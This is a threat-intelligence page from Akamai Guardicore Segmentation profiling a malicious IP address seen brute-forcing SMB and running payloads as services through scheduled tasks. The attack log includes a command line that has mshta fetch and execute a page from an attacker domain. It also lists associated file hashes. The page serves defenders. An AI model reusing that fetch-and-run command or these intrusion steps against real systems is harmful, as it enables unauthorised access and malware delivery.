Cyber Threat Intelligence

Discover malicious IPs and domains with Akamai Guardicore Segmentation

IP Address: 183.196.81.88Malicious

IP Address: 183.196.81.88Malicious

This IP address attempted an attack on a machine in our threat sensors network

Threat Information

Role

Attacker, Scanner

Services Targeted

MSSQL SMB

Tags

CMD DNS Query Access Suspicious Domain Scheduled Task Creation File Operation By CMD Successful SMB Login Service Start Service Creation SMB Share Connect Service Deletion Download File SMB Null Session Login SMB Access Share SMB Brute Force Service Stop Execute from Share

Associated Attack Servers

w.zz3r0.com

Basic Information

IP Address

183.196.81.88

Domain

-

ISP

China Mobile Guangdong

Country

China

WHOIS

Created Date

-

Updated Date

-

Organization

-

First seen in Akamai Guardicore Segmentation

2020-03-05

Last seen in Akamai Guardicore Segmentation

2024-09-20

What is Akamai Guardicore Segmentation
Akamai Guardicore Segmentation is a data center and cloud security solution that protects the organization's core assets, using flexible, quickly deployed and easy to understand micro-segmentation controls. Akamai Guardicore Segmentation generates in-context security incidents, with details on attacker tools and techniques, that help IR teams prioritize incident investigation and reduce dwell time. Learn More

Attack Flow

A user logged in using SMB with the following username: hp - Authentication policy: Reached Max Attempts (Part of a Brute Force Attempt)

SMB Brute Force Successful SMB Login

C:\ddyXxUVU.exe was downloaded

Download File

A user logged in using SMB with the following username: Administrator - Authentication policy: Reached Max Attempts (Part of a Brute Force Attempt)

SMB Brute Force Successful SMB Login

iwrsutfw.exe was executed from the remote share \\server-backup\c$

Execute from Share

c:\windows\system32\services.exe installed and started \\server-backup\c$\iwrsutfw.exe as a service named mIjh under service group None

Service Creation Service Start

ddyxxuvu.exe was executed from the remote share \\server-backup\c$

Execute from Share

c:\windows\system32\services.exe installed and started \\server-backup\c$\ddyxxuvu.exe as a service named pVcX under service group None

Service Creation Service Start

C:\windows\temp\tmp.vbs was downloaded

Download File

A user logged in using SMB with the following username: hp - Authentication policy: Previously Approved User (Part of a Brute Force Attempt) 3 times

SMB Brute Force Successful SMB Login

Service pVcX was stopped

Service Stop

A user logged in using SMB from NULL with the following username: Administrator - Authentication policy: Previously Approved User (Part of a Brute Force Attempt)

SMB Brute Force Successful SMB Login

The command line C:\WINDOWS\system32\cmd.exe /c mshta http://w.zz3r0.com/page.html?pSERVER-BACKUP was scheduled to run by modifying C:\WINDOWS\Tasks\Autocheck.job

Process c:\windows\system32\mshta.exe attempted to access suspicious domains: w.zz3r0.com

Access Suspicious Domain DNS Query

The command line c:\windows\qGcWeYY.exe was scheduled to run by modifying C:\WINDOWS\Tasks\Autostart.job

Connection was closed due to timeout

The command line c:\windows\ykANqyn.exe was scheduled to run by modifying C:\WINDOWS\Tasks\escan.job

Associated Files

C:\WINDOWS\Temp\svchost.exe

SHA256: 12876e23cd4e162367429c16ec1798cc8609313bdf86d1ec4caf53711af49ddb

65000 bytes

C:\WINDOWS\Temp\svchost.exe

SHA256: 156daa245b3474c84617166505b0ec4d7f268c51dc5596bed4098426e296312e

65000 bytes

C:\WINDOWS\Temp\svchost.exe

SHA256: 19ec15916d504dd9c9a4c2f05dfc0d6bd3d2e72ef8e8234a9deb601598fa15c3

130000 bytes

C:\lAximoSA.exe

SHA256: 263bdd4e70f1b1c7cfbeb5ca7325a7efcd13d73f47cdbc7e3a9899174e29bb5d

56320 bytes